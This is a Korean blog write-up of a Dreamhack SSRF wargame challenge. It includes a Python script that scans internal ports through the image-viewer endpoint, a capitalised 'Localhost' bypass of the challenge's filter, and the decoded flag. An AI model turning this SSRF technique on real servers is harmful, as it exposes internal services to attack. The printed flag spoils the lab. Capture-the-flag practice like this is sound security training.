๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
โœ’๏ธ Web Hacking/Dreamhack

[Dreamhack] Web - SSRF ๋“œ๋ฆผํ•ต ์›Œ๊ฒŒ์ž„ ๋ฌธ์ œ ํ’€์ด

by A Lim Han 2022. 11. 3.

5 - 1 - 1. Web - SSRF ์ทจ์•ฝ์  ์‹ค์Šต

 

 

# Web - SSRF

1. ๋ฌธ์ œ ํ™•์ธ ํ›„ ๋ฌธ์ œ ํŒŒ์ผ ๋‹ค์šด๋กœ๋“œ

์‚ฌ์ง„๊ณผ๋Š” ๋‹ฌ๋ฆฌ ์‹ค์ œ ์‹ค์Šต์€ 9881์ด ์•„๋‹Œ 11090 ํฌํŠธ๋ฅผ ์‚ฌ์šฉํ•จ

 

 

 

 

2. ๋ฌธ์ œ ์† app.py ํŒŒ์ผ์˜ ์ฝ”๋“œ ๋ถ„์„

+ << Line 27 ~ 28 >>

: /img_viewer.html ์€ GET, POST ๋‘ ๊ฐ€์ง€์˜ ์š”์ฒญ์„ ์ฒ˜๋ฆฌ 

 

+ << Line 29 ~ 30 >>  

: GET ์˜ ๊ฒฝ์šฐ

-->  img_viewer.html ์„ ๋ Œ๋”๋ง

: POST ์˜ ๊ฒฝ์šฐ

-->  ์‚ฌ์šฉ์ž๊ฐ€ ์ž…๋ ฅํ•œ URL์— HTTP ์š”์ฒญ ์ „์†ก ํ›„ ๊ทธ์— ๋Œ€ํ•œ ์‘๋‹ต์„ img_viewer.html ์˜ ์ธ์ž๋กœ ํ•˜์—ฌ ๋ Œ๋”๋ง

 

+ << Line 36 ~ 38 >>  

: ์„œ๋ฒ„ ์ฃผ์†Œ์— "127.0.0.1" ์ด๋‚˜ "localhost" ๊ฐ€ ํฌํ•จ๋œ URL๋กœ์˜ ์ ‘๊ทผ ์ œํ•œ

-->  ์‚ฌ์šฉ์ž์— ์˜ํ•ด ์ž…๋ ฅ๋œ ๋ฌธ์ž์—ด ์•ˆ์— ์œ„ ๋‘ ์š”์†Œ๊ฐ€ ์žˆ๋‹ค๋ฉด error.png ๋ฐ˜ํ™˜

 

 

 

+ << Line 49 >>  

: http (=ํŒŒ์ด์ฌ ๊ธฐ๋ณธ ๋ชจ๋“ˆ) ๋ฅผ ์ด์šฉํ•˜์—ฌ ์ž„์˜ ํฌํŠธ( = 127.0.0.1 )์— HTTP ์„œ๋ฒ„ ์‹คํ–‰

: ํ˜ธ์ŠคํŠธ๊ฐ€ 127.0.0.1 -->  ์™ธ๋ถ€์—์„œ์˜ ์„œ๋ฒ„ ์ ‘๊ทผ ๋ฐฉ์ง€

 

+ << Line 50 >>  

: ํฌํŠธ ๋ฒˆํ˜ธ๋Š” 1500 ~ 1800 ์‚ฌ์ด์˜ ์ž„์˜์˜ ์ˆ˜

-->  ์ˆ˜์˜ ๋ฒ”์œ„๊ฐ€ ๋„ˆ๋ฌด ๋„“์–ด ์ง์ ‘ ๋Œ€์ž…์€ ์–ด๋ ค์›€ 

 

+ << Line 51 ~ 53 >>  

: http.server.HTTPServer ์˜ ๋‘ ๋ฒˆ์งธ ์ธ์ž๋กœ http.server.SimpleHTTPRequestHandler ์„ ์ „๋‹ฌ

-->  ๋ฆฌ์†Œ์Šค ๋ฐ˜ํ™˜ ์›น ์„œ๋ฒ„ ์ƒ์„ฑ

 

+ << Line 60 >>  

: ํƒ€ ์Šค๋ ˆ๋“œ๋กœ local_server ์‹คํ–‰

 

 

 

 

3. ํฌํŠธ๋ฒˆํ˜ธ๋ฅผ ์•Œ์•„๋‚ด๊ธฐ ์œ„ํ•œ Python ์Šคํฌ๋ฆฝํŠธ ์ž‘์„ฑ

import requests
import sys
from tqdm import tqdm

NOTFOUND_IMG = "iVBORw0KG"

def send_img(img_url):
    global chall_url
    data = {
        "url": img_url,
    }
    response = requests.post(chall_url, data=data)
    return response.text

def find_port():
    for port in tqdm(range(1500, 1801)):
        img_url = f"http://Localhost:{port}"
        if NOTFOUND_IMG not in send_img(img_url):
            print(f"Internal port number is: {port}")
            break
    return port

if __name__ == "__main__":
    chall_port = 11090
    chall_url = f"http://host1.dreamhack.games:{chall_port}/img_viewer"
    internal_port = find_port()

 

 

 

 

4. VScode ์—์„œ ์ž‘์„ฑํ•œ Python ์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰

์‹คํ–‰ ๊ฒฐ๊ณผ

+ ํ”„๋กœ๊ทธ๋žจ ์‹คํ–‰ ๊ฒฐ๊ณผ ํฌํŠธ ๋ฒˆํ˜ธ๋Š” 1517์ž„์„ ํ™•์ธ

 

 

 

 

5. ์ ‘์† ์ •๋ณด ํ™•์ธ ํ›„ ์•ˆ๋‚ด๋œ ๋งํฌ์ธ http://host1.dreamhack.games:11090/  ์œผ๋กœ ์ ‘์† 

์‚ฌ์ง„๊ณผ๋Š” ๋‹ฌ๋ฆฌ ์‹ค์ œ ์‹ค์Šต์€ 9881์ด ์•„๋‹Œ 11090 ํฌํŠธ๋ฅผ ์‚ฌ์šฉํ•จ

 

 

 

 

6. Image Viewer ํŽ˜์ด์ง€๋กœ ์ด๋™ ํ›„ ์ฐพ์•„๋‚ธ ํฌํŠธ ๋ฒˆํ˜ธ(=1517)๋ฅผ ์ด์šฉํ•˜์—ฌ ์•„๋ž˜์™€ ๊ฐ™์ด URL ์ž…๋ ฅ

 

+ http://Localhost:1517/flag.txt ์„ url ์ž…๋ ฅ๋ž€์— ์ž…๋ ฅ

 

 

 

 

7. url ์ž…๋ ฅ ํ›„ F12๋ฅผ ํ†ตํ•ด ๊ฐœ๋ฐœ์ž ๋„๊ตฌ ์˜คํ”ˆ

 

+ ๊ฐœ๋ฐœ์ž ๋„๊ตฌ์˜ img ๋ถ€๋ถ„์—์„œ 64base๋กœ ์ธ์ฝ”๋”ฉ๋œ ์ƒํƒœ์˜ Flag๋ฅผ ๋ฐœ๊ฒฌ

 

 

 

 

8. REh7NDNkZDIxODkwNTY0NzVhN2YzYmQxMTQ1NmExN2FkNzF9 ๋ถ€๋ถ„์„ 64bit ๋””์ฝ”๋”๋ฅผ ์ด์šฉํ•˜์—ฌ ๋””์ฝ”๋”ฉ

๋ณ€ํ™˜ ์ „

 

๋ณ€ํ™˜ ํ›„

+ Flag๋Š” DH{43dd2189056475a7f3bd11456a17ad71} ์ž„์„ ํ™•์ธ